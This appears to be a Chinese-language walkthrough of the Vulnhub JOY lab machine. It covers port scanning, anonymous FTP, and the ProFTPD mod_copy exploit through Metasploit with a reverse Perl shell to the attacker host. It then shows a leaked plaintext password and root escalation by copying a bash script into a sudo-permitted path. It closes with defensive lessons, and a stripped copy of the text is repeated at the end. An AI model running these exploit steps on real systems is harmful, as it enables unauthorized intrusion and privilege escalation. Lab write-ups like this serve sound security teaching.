[Vulnhub] digitalworld.local-JOY snmp+ProFTPD权限提升
字数 1117 2025-08-19 12:41:03

Vulnhub靶机digitalworld.local-JOY渗透测试实战教学

靶机概述

本教学文档基于Vulnhub的digitalworld.local-JOY靶机,重点讲解通过SNMP信息泄露、ProFTPD漏洞利用和权限提升的完整渗透测试流程。该靶机运行多种服务,包括FTP、SSH、SMTP、HTTP等,最终目标是获取root权限。

信息收集阶段

初始扫描

使用Nmap进行全端口扫描,发现开放以下TCP端口:

21/tcp - FTP (ProFTPD)
22/tcp - SSH (Dropbear sshd 0.34)
25/tcp - SMTP (Postfix)
80/tcp - HTTP (Apache 2.4.25)
110/tcp - POP3 (Dovecot)
139,445/tcp - Samba (Samba 4.5.12-Debian)
143/tcp - IMAP (Dovecot)
465,587/tcp - SMTP over SSL
993/tcp - IMAP over SSL
995/tcp - POP3 over SSL

扫描命令:

nmap -p- 192.168.101.150 --min-rate 1000 -sC -sV

服务详情分析

  1. FTP服务(21/tcp)

    • ProFTPD服务
    • 允许匿名登录
    • 存在download和upload两个目录
  2. SMB服务(139,445/tcp)

    • Samba 4.5.12-Debian
    • 操作系统伪装为Windows 6.1
    • 计算机名:joy
    • 消息签名启用但不强制
  3. SNMP服务(UDP扫描发现)

    sudo nmap -Pn -sU -A --top-ports=20 -v 192.168.101.150
    
    • 泄露了大量关于运行服务的信息

漏洞利用阶段

FTP匿名访问利用

  1. 匿名登录FTP:

    ftp 192.168.101.150
    

    用户名:anonymous,密码可为空

  2. 查看目录结构:

    ftp> ls
    200 PORT command successful
    150 Opening ASCII mode data connection for file list
    drwxrwxr-x 2 ftp ftp 4096 Jan 6 2019 download
    drwxrwxr-x 2 ftp ftp 4096 Jan 10 2019 upload
    226 Transfer complete
    
  3. 下载文件:

    ftp> cd download
    ftp> get directory
    

ProFTPD漏洞利用

  1. 通过TFTP获取版本信息:

    tftp 192.168.101.150 36969
    get version_control
    

    确认ProFTPD版本为1.3.5

  2. 使用Metasploit利用ProFTPD的mod_copy模块漏洞:

    msfconsole
    use exploit/unix/ftp/proftpd_modcopy_exec
    set RHOSTS 192.168.101.150
    set payload cmd/unix/reverse_perl
    set LHOST 192.168.101.128
    set SITEPATH /var/www/tryingharderisjoy
    run
    
  3. 成功获取www-data权限的shell后,查找敏感信息:

    cat /var/www/tryingharderisjoy/ossec/patricksecretsofjoy
    

    发现用户patrick的凭据:patrick:apollo098765

  4. 切换至patrick用户:

    su patrick
    

权限提升阶段

检查sudo权限

sudo -l

发现patrick用户对/home/patrick/script/目录下的脚本有sudo权限

利用FTP和ProFTPD特性提权

  1. 创建恶意脚本:

    echo '/bin/bash' > test
    
  2. 通过FTP上传:

    ftp 192.168.101.150
    cd upload
    put test
    
  3. 使用ProFTPD的SITE CPFR/CPTO命令复制文件:

    telnet 192.168.101.150 21
    site cpfr /home/ftp/upload/test
    site cpto /home/patrick/script/test
    
  4. 执行脚本获取root权限:

    sudo /home/patrick/script/test
    

关键安全教训

  1. 匿名FTP访问:匿名FTP访问可能导致敏感信息泄露,应禁用或严格限制

  2. ProFTPD配置风险

    • 不应允许未经认证的用户使用SITE CPFR/CPTO命令
    • 应及时更新ProFTPD到最新版本
  3. sudo权限配置错误

    • 不应授予用户对可写脚本的sudo权限
    • 应遵循最小权限原则
  4. SNMP信息泄露:应配置SNMP社区字符串为强密码,限制访问

  5. 凭证存储不安全:不应将用户凭据以明文形式存储在web目录中

防御建议

  1. 定期更新所有服务软件到最新版本
  2. 禁用不必要的服务和匿名访问
  3. 实施严格的sudo权限管理
  4. 监控和审计系统日志,特别是特权操作
  5. 对敏感信息进行加密存储
  6. 配置防火墙规则,限制对管理服务的访问

通过本教学,我们展示了从信息收集到权限提升的完整渗透测试流程,强调了配置错误和过时软件带来的安全风险。

Vulnhub靶机digitalworld.local-JOY渗透测试实战教学 靶机概述 本教学文档基于Vulnhub的digitalworld.local-JOY靶机,重点讲解通过SNMP信息泄露、ProFTPD漏洞利用和权限提升的完整渗透测试流程。该靶机运行多种服务,包括FTP、SSH、SMTP、HTTP等,最终目标是获取root权限。 信息收集阶段 初始扫描 使用Nmap进行全端口扫描,发现开放以下TCP端口: 扫描命令: 服务详情分析 FTP服务(21/tcp) : ProFTPD服务 允许匿名登录 存在download和upload两个目录 SMB服务(139,445/tcp) : Samba 4.5.12-Debian 操作系统伪装为Windows 6.1 计算机名:joy 消息签名启用但不强制 SNMP服务(UDP扫描发现) : 泄露了大量关于运行服务的信息 漏洞利用阶段 FTP匿名访问利用 匿名登录FTP: 用户名:anonymous,密码可为空 查看目录结构: 下载文件: ProFTPD漏洞利用 通过TFTP获取版本信息: 确认ProFTPD版本为1.3.5 使用Metasploit利用ProFTPD的mod_ copy模块漏洞: 成功获取www-data权限的shell后,查找敏感信息: 发现用户patrick的凭据:patrick:apollo098765 切换至patrick用户: 权限提升阶段 检查sudo权限 发现patrick用户对/home/patrick/script/目录下的脚本有sudo权限 利用FTP和ProFTPD特性提权 创建恶意脚本: 通过FTP上传: 使用ProFTPD的SITE CPFR/CPTO命令复制文件: 执行脚本获取root权限: 关键安全教训 匿名FTP访问 :匿名FTP访问可能导致敏感信息泄露,应禁用或严格限制 ProFTPD配置风险 : 不应允许未经认证的用户使用SITE CPFR/CPTO命令 应及时更新ProFTPD到最新版本 sudo权限配置错误 : 不应授予用户对可写脚本的sudo权限 应遵循最小权限原则 SNMP信息泄露 :应配置SNMP社区字符串为强密码,限制访问 凭证存储不安全 :不应将用户凭据以明文形式存储在web目录中 防御建议 定期更新所有服务软件到最新版本 禁用不必要的服务和匿名访问 实施严格的sudo权限管理 监控和审计系统日志,特别是特权操作 对敏感信息进行加密存储 配置防火墙规则,限制对管理服务的访问 通过本教学,我们展示了从信息收集到权限提升的完整渗透测试流程,强调了配置错误和过时软件带来的安全风险。